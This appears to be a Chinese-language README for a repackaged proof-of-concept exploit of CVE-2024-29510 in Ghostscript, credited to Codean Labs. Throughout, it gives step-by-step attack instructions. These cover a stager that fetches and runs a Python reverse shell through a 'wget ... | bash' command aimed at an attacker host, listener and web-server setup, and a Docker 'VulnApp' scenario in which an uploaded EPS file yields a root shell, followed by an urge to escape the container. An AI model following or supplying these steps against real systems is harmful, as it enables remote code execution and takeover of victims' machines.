原始研究及POC代码:https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/
注意:除执行的命令外,我未对POC做任何修改。全部功劳归功于 Codean Labs 的 Thomas Rinsma 的出色研究及POC。
本地场景
- 封装在stager脚本中,用于下载并运行检查脚本以判断主机是否存在漏洞
- 修改POC以下载并执行Python3反弹Shell
- Stager和反弹Shell通过标准输入下载并执行
- POC会在 /tmp 目录留下随机命名的文件
在攻击者主机上:
- 使用pwncat-cs或netcat,为443端口创建监听器
- 进入exploit目录
- python3 -m http.server 80
在受害者主机上(运行Ghostscript 10.01.2的Ubuntu 23.10):
- 打开终端并运行:export RHOST=''; wget -q http://$RHOST/run -O - | bash &
远程场景(VulnApp)
- 使用以下命令构建VulnApp:'docker build -t cve-2024-29510-demo:latest .'(需在Dockerfile目录下放置 https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10021/ghostscript-10.02.1.tar.gz 的副本)
- 使用以下命令运行VulnApp:'docker run --rm -p 5000:5000 cve-2024-29510-demo:latest'
- 尝试转换good.ps以测试功能。应返回一个渲染后的PDF,其中包含绘制箭头的线条,例如 '>'
- 在80端口上搭建托管shell.html的web服务器,例如 'python3 -m http.server 80'
- 使用pwncat-cs或netcat,为443端口创建监听器
- 上传bad.eps,VulnApp将挂起,监听器应捕获容器的反弹Shell(以root运行)
- 逃逸出容器!